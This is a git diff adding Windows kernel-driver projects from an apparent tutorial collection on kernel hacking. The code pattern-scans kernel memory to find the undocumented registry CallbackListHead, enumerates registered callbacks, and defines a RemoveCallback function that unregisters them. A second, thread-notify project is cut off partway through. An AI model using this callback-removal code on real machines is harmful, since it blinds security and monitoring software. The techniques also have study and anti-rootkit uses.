CmRegisterCallback_Enum_Remove_Test.inf +; + +[Version] +Signature="$WINDOWS NT$" +Class= +ClassGuid= +Provider= +DriverVer= +CatalogFile= + +[DestinationDirs] +DefaultDestDir = 12 + + +[SourceDisksNames] +1 = %DiskName%,,,"" + +[SourceDisksFiles] + + +[Manufacturer] +%ManufacturerName%=Standard,NT$ARCH$ + +[Standard.NT$ARCH$] + + +[Strings] +ManufacturerName="" +ClassName="" +DiskName="CmRegisterCallback_Enum_Remove_Test Source Disk" diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\346\263\250\345\206\214\350\241\250\347\233\221\346\216\247/CmRegisterCallback_Enum_Remove_Test/CmRegisterCallback_Enum_Remove_Test/CmRegisterCallback_Enum_Remove_Test.vcxproj" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\346\263\250\345\206\214\350\241\250\347\233\221\346\216\247/CmRegisterCallback_Enum_Remove_Test/CmRegisterCallback_Enum_Remove_Test/CmRegisterCallback_Enum_Remove_Test.vcxproj" new file mode 100644 index 0000000..b7e6db4 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\346\263\250\345\206\214\350\241\250\347\233\221\346\216\247/CmRegisterCallback_Enum_Remove_Test/CmRegisterCallback_Enum_Remove_Test/CmRegisterCallback_Enum_Remove_Test.vcxproj" @@ -0,0 +1,261 @@ + + + + + Win8.1 Debug + Win32 + + + Win8.1 Release + Win32 + + + Win8 Debug + Win32 + + + Win8 Release + Win32 + + + Win7 Debug + Win32 + + + Win7 Release + Win32 + + + Win8.1 Debug + x64 + + + Win8.1 Release + x64 + + + Win8 Debug + x64 + + + Win8 Release + x64 + + + Win7 Debug + x64 + + + Win7 Release + x64 + + + + {47FA2167-E477-4FF5-893E-A441ADF09406} + {dd38f7fc-d7bd-488b-9242-7d8754cde80d} + v4.5 + 11.0 + Win8.1 Debug + Win32 + CmRegisterCallback_Enum_Remove_Test + + + + WindowsV6.3 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + + + + + + + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + + Level3 + + + + + false + + + false + + + + + Level3 + + + + + false + + + false + + + + + Level3 + + + + + false + + + false + + + + + Level3 + + + + + false + + + false + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\346\263\250\345\206\214\350\241\250\347\233\221\346\216\247/CmRegisterCallback_Enum_Remove_Test/CmRegisterCallback_Enum_Remove_Test/CmRegisterCallback_Enum_Remove_Test.vcxproj.filters" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\346\263\250\345\206\214\350\241\250\347\233\221\346\216\247/CmRegisterCallback_Enum_Remove_Test/CmRegisterCallback_Enum_Remove_Test/CmRegisterCallback_Enum_Remove_Test.vcxproj.filters" new file mode 100644 index 0000000..92b274e --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\346\263\250\345\206\214\350\241\250\347\233\221\346\216\247/CmRegisterCallback_Enum_Remove_Test/CmRegisterCallback_Enum_Remove_Test/CmRegisterCallback_Enum_Remove_Test.vcxproj.filters" @@ -0,0 +1,42 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + {8E41214B-6785-4CFE-B992-037D68949A14} + inf;inv;inx;mof;mc; + + + + + Driver Files + + + + + Header Files + + + Header Files + + + + + Source Files + + + Source Files + + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\346\263\250\345\206\214\350\241\250\347\233\221\346\216\247/CmRegisterCallback_Enum_Remove_Test/CmRegisterCallback_Enum_Remove_Test/CmRegisterCallback_Enum_Remove_Test.vcxproj.user" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\346\263\250\345\206\214\350\241\250\347\233\221\346\216\247/CmRegisterCallback_Enum_Remove_Test/CmRegisterCallback_Enum_Remove_Test/CmRegisterCallback_Enum_Remove_Test.vcxproj.user" new file mode 100644 index 0000000..14e421f --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\346\263\250\345\206\214\350\241\250\347\233\221\346\216\247/CmRegisterCallback_Enum_Remove_Test/CmRegisterCallback_Enum_Remove_Test/CmRegisterCallback_Enum_Remove_Test.vcxproj.user" @@ -0,0 +1,15 @@ + + + + Off + + + Off + + + Off + + + Off + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\346\263\250\345\206\214\350\241\250\347\233\221\346\216\247/CmRegisterCallback_Enum_Remove_Test/CmRegisterCallback_Enum_Remove_Test/Driver.c" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\346\263\250\345\206\214\350\241\250\347\233\221\346\216\247/CmRegisterCallback_Enum_Remove_Test/CmRegisterCallback_Enum_Remove_Test/Driver.c" new file mode 100644 index 0000000..eff646e --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\346\263\250\345\206\214\350\241\250\347\233\221\346\216\247/CmRegisterCallback_Enum_Remove_Test/CmRegisterCallback_Enum_Remove_Test/Driver.c" @@ -0,0 +1,38 @@ +#include "EnumRemove.h" +#include "Driver.h" + + +NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegPath) +{ + DbgPrint("Enter DriverEntry\n"); + + NTSTATUS status = STATUS_SUCCESS; + pDriverObject->DriverUnload = DriverUnload; + for (ULONG i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) + { + pDriverObject->MajorFunction[i] = DriverDefaultHandle; + } + + // ص + EnumCallback(); + + DbgPrint("Leave DriverEntry\n"); + return status; +} + + + +VOID DriverUnload(PDRIVER_OBJECT pDriverObject) +{ +} + + +NTSTATUS DriverDefaultHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp) +{ + NTSTATUS status = STATUS_SUCCESS; + pIrp->IoStatus.Status = status; + pIrp->IoStatus.Information = 0; + IoCompleteRequest(pIrp, IO_NO_INCREMENT); + + return status; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\346\263\250\345\206\214\350\241\250\347\233\221\346\216\247/CmRegisterCallback_Enum_Remove_Test/CmRegisterCallback_Enum_Remove_Test/Driver.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\346\263\250\345\206\214\350\241\250\347\233\221\346\216\247/CmRegisterCallback_Enum_Remove_Test/CmRegisterCallback_Enum_Remove_Test/Driver.h" new file mode 100644 index 0000000..0822089 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\346\263\250\345\206\214\350\241\250\347\233\221\346\216\247/CmRegisterCallback_Enum_Remove_Test/CmRegisterCallback_Enum_Remove_Test/Driver.h" @@ -0,0 +1,12 @@ +#ifndef _DRIVER_H_ +#define _DRIVER_H_ + + +#include + + +VOID DriverUnload(PDRIVER_OBJECT pDriverObject); +NTSTATUS DriverDefaultHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp); + + +#endif \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\346\263\250\345\206\214\350\241\250\347\233\221\346\216\247/CmRegisterCallback_Enum_Remove_Test/CmRegisterCallback_Enum_Remove_Test/EnumRemove.c" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\346\263\250\345\206\214\350\241\250\347\233\221\346\216\247/CmRegisterCallback_Enum_Remove_Test/CmRegisterCallback_Enum_Remove_Test/EnumRemove.c" new file mode 100644 index 0000000..36e3035 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\346\263\250\345\206\214\350\241\250\347\233\221\346\216\247/CmRegisterCallback_Enum_Remove_Test/CmRegisterCallback_Enum_Remove_Test/EnumRemove.c" @@ -0,0 +1,217 @@ +#include "EnumRemove.h" + + +VOID ShowError(PCHAR lpszText, NTSTATUS ntStatus) +{ + DbgPrint("%s Error[0x%X]\n", lpszText, ntStatus); +} + + +// ص +BOOLEAN EnumCallback() +{ + ULONG i = 0; + PVOID pCallbackListHeadAddress = NULL; + PCM_NOTIFY_ENTRY pNotifyEntry = NULL; + + // ȡ CallbackListHead ַ + pCallbackListHeadAddress = GetCallbackListHead(); + if (NULL == pCallbackListHeadAddress) + { + DbgPrint("GetCallbackListHead Error!\n"); + return FALSE; + } + DbgPrint("pCallbackListHeadAddress=0x%p\n", pCallbackListHeadAddress); + + // ʼ˫ + pNotifyEntry = (PCM_NOTIFY_ENTRY)pCallbackListHeadAddress; + do + { + // ж pNotifyEntry ַǷЧ + if (FALSE == MmIsAddressValid(pNotifyEntry)) + { + break; + } + // ж ص ַǷЧ + if (MmIsAddressValid(pNotifyEntry->Function)) + { + // ʾ + DbgPrint("CallbackFunction=0x%p, Cookie=0x%I64X\n", pNotifyEntry->Function, pNotifyEntry->Cookie.QuadPart); + } + // ȡһ + pNotifyEntry = (PCM_NOTIFY_ENTRY)pNotifyEntry->ListEntryHead.Flink; + + } while (pCallbackListHeadAddress != (PVOID)pNotifyEntry); + + + return TRUE; +} + + +// Ƴص +NTSTATUS RemoveCallback(LARGE_INTEGER Cookie) +{ + NTSTATUS status = CmUnRegisterCallback(Cookie); + if (!NT_SUCCESS(status)) + { + ShowError("CmUnRegisterCallback", status); + } + return status; +} + + +// ȡ CallbackListHead ַ +PVOID GetCallbackListHead() +{ + PVOID pCallbackListHeadAddress = NULL; + RTL_OSVERSIONINFOW osInfo = { 0 }; + UCHAR pSpecialData[50] = { 0 }; + ULONG ulSpecialDataSize = 0; + LONG lSpecialOffset = 0; + + // ȡϵͳ汾Ϣ, жϵͳ汾 + RtlGetVersion(&osInfo); + if (6 == osInfo.dwMajorVersion) + { + if (1 == osInfo.dwMinorVersion) + { + // Win7 +#ifdef _WIN64 + // 64 λ + // 488D54 + pSpecialData[0] = 0x48; + pSpecialData[1] = 0x8D; + pSpecialData[2] = 0x54; + ulSpecialDataSize = 3; + lSpecialOffset = 5; +#else + // 32 λ + // BF + pSpecialData[0] = 0xBF; + ulSpecialDataSize = 1; +#endif + } + else if (2 == osInfo.dwMinorVersion) + { + // Win8 +#ifdef _WIN64 + // 64 λ + +#else + // 32 λ + +#endif + } + else if (3 == osInfo.dwMinorVersion) + { + // Win8.1 +#ifdef _WIN64 + // 64 λ + // 488D0D + pSpecialData[0] = 0x48; + pSpecialData[1] = 0x8D; + pSpecialData[2] = 0x0D; + ulSpecialDataSize = 3; +#else + // 32 λ + // BE + pSpecialData[0] = 0xBE; + ulSpecialDataSize = 1; +#endif + } + } + else if (10 == osInfo.dwMajorVersion) + { + // Win10 +#ifdef _WIN64 + // 64 λ + // 488D0D + pSpecialData[0] = 0x48; + pSpecialData[1] = 0x8D; + pSpecialData[2] = 0x0D; + ulSpecialDataSize = 3; +#else + // 32 λ + // B9 + pSpecialData[0] = 0xB9; + ulSpecialDataSize = 1; +#endif + } + + // ȡַ + pCallbackListHeadAddress = SearchCallbackListHead(pSpecialData, ulSpecialDataSize, lSpecialOffset); + return pCallbackListHeadAddress; +} + + +// ȡ CallbackListHead ַ +PVOID SearchCallbackListHead(PUCHAR pSpecialData, ULONG ulSpecialDataSize, LONG lSpecialOffset) +{ + UNICODE_STRING ustrFuncName; + PVOID pAddress = NULL; + LONG lOffset = 0; + PVOID pCmUnRegisterCallback = NULL; + PVOID pCallbackListHead = NULL; + + // Ȼȡ CmUnRegisterCallback ַ + RtlInitUnicodeString(&ustrFuncName, L"CmUnRegisterCallback"); + pCmUnRegisterCallback = MmGetSystemRoutineAddress(&ustrFuncName); + if (NULL == pCmUnRegisterCallback) + { + ShowError("MmGetSystemRoutineAddress", 0); + return pCallbackListHead; + } + + // Ȼ, PspSetCreateProcessNotifyRoutine ַ + pAddress = SearchMemory(pCmUnRegisterCallback, + (PVOID)((PUCHAR)pCmUnRegisterCallback + 0xFF), + pSpecialData, ulSpecialDataSize); + if (NULL == pAddress) + { + ShowError("SearchMemory", 0); + return pCallbackListHead; + } + + // ȡַ +#ifdef _WIN64 + // 64 λȻȡƫ, ټַ + lOffset = *(PLONG)((PUCHAR)pAddress + lSpecialOffset); + pCallbackListHead = (PVOID)((PUCHAR)pAddress + lSpecialOffset + sizeof(LONG) + lOffset); +#else + // 32 λֱӻȡַ + pCallbackListHead = *(PVOID *)((PUCHAR)pAddress + lSpecialOffset); +#endif + + return pCallbackListHead; +} + + +// ָڴɨ +PVOID SearchMemory(PVOID pStartAddress, PVOID pEndAddress, PUCHAR pMemoryData, ULONG ulMemoryDataSize) +{ + PVOID pAddress = NULL; + PUCHAR i = NULL; + ULONG m = 0; + + // ɨڴ + for (i = (PUCHAR)pStartAddress; i < (PUCHAR)pEndAddress; i++) + { + // ж + for (m = 0; m < ulMemoryDataSize; m++) + { + if (*(PUCHAR)(i + m) != pMemoryData[m]) + { + break; + } + } + // жǷҵĵַ + if (m >= ulMemoryDataSize) + { + // ҵλ, ȡһַ + pAddress = (PVOID)(i + ulMemoryDataSize); + break; + } + } + + return pAddress; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\346\263\250\345\206\214\350\241\250\347\233\221\346\216\247/CmRegisterCallback_Enum_Remove_Test/CmRegisterCallback_Enum_Remove_Test/EnumRemove.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\346\263\250\345\206\214\350\241\250\347\233\221\346\216\247/CmRegisterCallback_Enum_Remove_Test/CmRegisterCallback_Enum_Remove_Test/EnumRemove.h" new file mode 100644 index 0000000..cc9aac7 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\346\263\250\345\206\214\350\241\250\347\233\221\346\216\247/CmRegisterCallback_Enum_Remove_Test/CmRegisterCallback_Enum_Remove_Test/EnumRemove.h" @@ -0,0 +1,35 @@ +#ifndef _ENUM_REMOVE_H_ +#define _ENUM_REMOVE_H_ + + +#include + + +typedef struct _CM_NOTIFY_ENTRY +{ + LIST_ENTRY ListEntryHead; + ULONG UnKnown1; + ULONG UnKnown2; + LARGE_INTEGER Cookie; + PVOID Context; + PVOID Function; +}CM_NOTIFY_ENTRY, *PCM_NOTIFY_ENTRY; + + +// ص +BOOLEAN EnumCallback(); + +// Ƴص +NTSTATUS RemoveCallback(LARGE_INTEGER Cookie); + +// ȡ CallbackListHead ַ +PVOID GetCallbackListHead(); + +// ȡ CallbackListHead ַ +PVOID SearchCallbackListHead(PUCHAR pSpecialData, ULONG ulSpecialDataSize, LONG lSpecialOffset); + +// ָڴɨ +PVOID SearchMemory(PVOID pStartAddress, PVOID pEndAddress, PUCHAR pMemoryData, ULONG ulMemoryDataSize); + + +#endif \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\347\272\277\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test.sln" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\347\272\277\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test.sln" new file mode 100644 index 0000000..00c923f --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\347\272\277\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test.sln" @@ -0,0 +1,64 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.40629.0 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "PsSetCreateThreadNotifyRoutine_Enum_Remove_Test", "PsSetCreateThreadNotifyRoutine_Enum_Remove_Test\PsSetCreateThreadNotifyRoutine_Enum_Remove_Test.vcxproj", "{5079F63F-DAB2-40B3-8C8A-CB1C4B4BC4E1}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Win7 Debug|Win32 = Win7 Debug|Win32 + Win7 Debug|x64 = Win7 Debug|x64 + Win7 Release|Win32 = Win7 Release|Win32 + Win7 Release|x64 = Win7 Release|x64 + Win8 Debug|Win32 = Win8 Debug|Win32 + Win8 Debug|x64 = Win8 Debug|x64 + Win8 Release|Win32 = Win8 Release|Win32 + Win8 Release|x64 = Win8 Release|x64 + Win8.1 Debug|Win32 = Win8.1 Debug|Win32 + Win8.1 Debug|x64 = Win8.1 Debug|x64 + Win8.1 Release|Win32 = Win8.1 Release|Win32 + Win8.1 Release|x64 = Win8.1 Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {5079F63F-DAB2-40B3-8C8A-CB1C4B4BC4E1}.Win7 Debug|Win32.ActiveCfg = Win7 Debug|Win32 + {5079F63F-DAB2-40B3-8C8A-CB1C4B4BC4E1}.Win7 Debug|Win32.Build.0 = Win7 Debug|Win32 + {5079F63F-DAB2-40B3-8C8A-CB1C4B4BC4E1}.Win7 Debug|Win32.Deploy.0 = Win7 Debug|Win32 + {5079F63F-DAB2-40B3-8C8A-CB1C4B4BC4E1}.Win7 Debug|x64.ActiveCfg = Win7 Debug|x64 + {5079F63F-DAB2-40B3-8C8A-CB1C4B4BC4E1}.Win7 Debug|x64.Build.0 = Win7 Debug|x64 + {5079F63F-DAB2-40B3-8C8A-CB1C4B4BC4E1}.Win7 Debug|x64.Deploy.0 = Win7 Debug|x64 + {5079F63F-DAB2-40B3-8C8A-CB1C4B4BC4E1}.Win7 Release|Win32.ActiveCfg = Win7 Release|Win32 + {5079F63F-DAB2-40B3-8C8A-CB1C4B4BC4E1}.Win7 Release|Win32.Build.0 = Win7 Release|Win32 + {5079F63F-DAB2-40B3-8C8A-CB1C4B4BC4E1}.Win7 Release|Win32.Deploy.0 = Win7 Release|Win32 + {5079F63F-DAB2-40B3-8C8A-CB1C4B4BC4E1}.Win7 Release|x64.ActiveCfg = Win7 Release|x64 + {5079F63F-DAB2-40B3-8C8A-CB1C4B4BC4E1}.Win7 Release|x64.Build.0 = Win7 Release|x64 + {5079F63F-DAB2-40B3-8C8A-CB1C4B4BC4E1}.Win7 Release|x64.Deploy.0 = Win7 Release|x64 + {5079F63F-DAB2-40B3-8C8A-CB1C4B4BC4E1}.Win8 Debug|Win32.ActiveCfg = Win8 Debug|Win32 + {5079F63F-DAB2-40B3-8C8A-CB1C4B4BC4E1}.Win8 Debug|Win32.Build.0 = Win8 Debug|Win32 + {5079F63F-DAB2-40B3-8C8A-CB1C4B4BC4E1}.Win8 Debug|Win32.Deploy.0 = Win8 Debug|Win32 + {5079F63F-DAB2-40B3-8C8A-CB1C4B4BC4E1}.Win8 Debug|x64.ActiveCfg = Win8 Debug|x64 + {5079F63F-DAB2-40B3-8C8A-CB1C4B4BC4E1}.Win8 Debug|x64.Build.0 = Win8 Debug|x64 + {5079F63F-DAB2-40B3-8C8A-CB1C4B4BC4E1}.Win8 Debug|x64.Deploy.0 = Win8 Debug|x64 + {5079F63F-DAB2-40B3-8C8A-CB1C4B4BC4E1}.Win8 Release|Win32.ActiveCfg = Win8 Release|Win32 + {5079F63F-DAB2-40B3-8C8A-CB1C4B4BC4E1}.Win8 Release|Win32.Build.0 = Win8 Release|Win32 + {5079F63F-DAB2-40B3-8C8A-CB1C4B4BC4E1}.Win8 Release|Win32.Deploy.0 = Win8 Release|Win32 + {5079F63F-DAB2-40B3-8C8A-CB1C4B4BC4E1}.Win8 Release|x64.ActiveCfg = Win8 Release|x64 + {5079F63F-DAB2-40B3-8C8A-CB1C4B4BC4E1}.Win8 Release|x64.Build.0 = Win8 Release|x64 + {5079F63F-DAB2-40B3-8C8A-CB1C4B4BC4E1}.Win8 Release|x64.Deploy.0 = Win8 Release|x64 + {5079F63F-DAB2-40B3-8C8A-CB1C4B4BC4E1}.Win8.1 Debug|Win32.ActiveCfg = Win8.1 Debug|Win32 + {5079F63F-DAB2-40B3-8C8A-CB1C4B4BC4E1}.Win8.1 Debug|Win32.Build.0 = Win8.1 Debug|Win32 + {5079F63F-DAB2-40B3-8C8A-CB1C4B4BC4E1}.Win8.1 Debug|Win32.Deploy.0 = Win8.1 Debug|Win32 + {5079F63F-DAB2-40B3-8C8A-CB1C4B4BC4E1}.Win8.1 Debug|x64.ActiveCfg = Win8.1 Debug|x64 + {5079F63F-DAB2-40B3-8C8A-CB1C4B4BC4E1}.Win8.1 Debug|x64.Build.0 = Win8.1 Debug|x64 + {5079F63F-DAB2-40B3-8C8A-CB1C4B4BC4E1}.Win8.1 Debug|x64.Deploy.0 = Win8.1 Debug|x64 + {5079F63F-DAB2-40B3-8C8A-CB1C4B4BC4E1}.Win8.1 Release|Win32.ActiveCfg = Win8.1 Release|Win32 + {5079F63F-DAB2-40B3-8C8A-CB1C4B4BC4E1}.Win8.1 Release|Win32.Build.0 = Win8.1 Release|Win32 + {5079F63F-DAB2-40B3-8C8A-CB1C4B4BC4E1}.Win8.1 Release|Win32.Deploy.0 = Win8.1 Release|Win32 + {5079F63F-DAB2-40B3-8C8A-CB1C4B4BC4E1}.Win8.1 Release|x64.ActiveCfg = Win8.1 Release|x64 + {5079F63F-DAB2-40B3-8C8A-CB1C4B4BC4E1}.Win8.1 Release|x64.Build.0 = Win8.1 Release|x64 + {5079F63F-DAB2-40B3-8C8A-CB1C4B4BC4E1}.Win8.1 Release|x64.Deploy.0 = Win8.1 Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\347\272\277\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test.v12.suo" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\347\272\277\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test.v12.suo" new file mode 100644 index 0000000..73be21c Binary files /dev/null and "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\347\272\277\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test.v12.suo" differ diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\347\272\277\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test/Driver.c" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\347\272\277\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test/Driver.c" new file mode 100644 index 0000000..0dc8097 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\347\272\277\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test/Driver.c" @@ -0,0 +1,38 @@ +#include "EnumRemove.h" +#include "Driver.h" + + +NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegPath) +{ + DbgPrint("Enter DriverEntry\n"); + + NTSTATUS status = STATUS_SUCCESS; + pDriverObject->DriverUnload = DriverUnload; + for (ULONG i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) + { + pDriverObject->MajorFunction[i] = DriverDefaultHandle; + } + + // ص + EnumNotifyRoutine(); + + DbgPrint("Leave DriverEntry\n"); + return status; +} + + + +VOID DriverUnload(PDRIVER_OBJECT pDriverObject) +{ +} + + +NTSTATUS DriverDefaultHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp) +{ + NTSTATUS status = STATUS_SUCCESS; + pIrp->IoStatus.Status = status; + pIrp->IoStatus.Information = 0; + IoCompleteRequest(pIrp, IO_NO_INCREMENT); + + return status; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\347\272\277\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test/Driver.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\347\272\277\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test/Driver.h" new file mode 100644 index 0000000..0822089 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\347\272\277\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test/Driver.h" @@ -0,0 +1,12 @@ +#ifndef _DRIVER_H_ +#define _DRIVER_H_ + + +#include + + +VOID DriverUnload(PDRIVER_OBJECT pDriverObject); +NTSTATUS DriverDefaultHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp); + + +#endif \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\347\272\277\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test/EnumRemove.c" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\347\272\277\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test/EnumRemove.c" new file mode 100644 index 0000000..c6dbb6c --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\347\272\277\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test/EnumRemove.c" @@ -0,0 +1,261 @@ +#include "EnumRemove.h" + + +VOID ShowError(PCHAR lpszText, NTSTATUS ntStatus) +{ + DbgPrint("%s Error[0x%X]\n", lpszText, ntStatus); +} + + +// ص +BOOLEAN EnumNotifyRoutine() +{ + ULONG i = 0; + PVOID pPspCreateThreadNotifyRoutineAddress = NULL; + PVOID pNotifyRoutineAddress = NULL; + + // ȡ PspCreateThreadNotifyRoutine ַ + pPspCreateThreadNotifyRoutineAddress = GetPspCreateThreadNotifyRoutine(); + if (NULL == pPspCreateThreadNotifyRoutineAddress) + { + DbgPrint("GetPspCreateThreadNotifyRoutine Error!\n"); + return FALSE; + } + DbgPrint("pPspCreateThreadNotifyRoutineAddress=0x%p\n", pPspCreateThreadNotifyRoutineAddress); + + 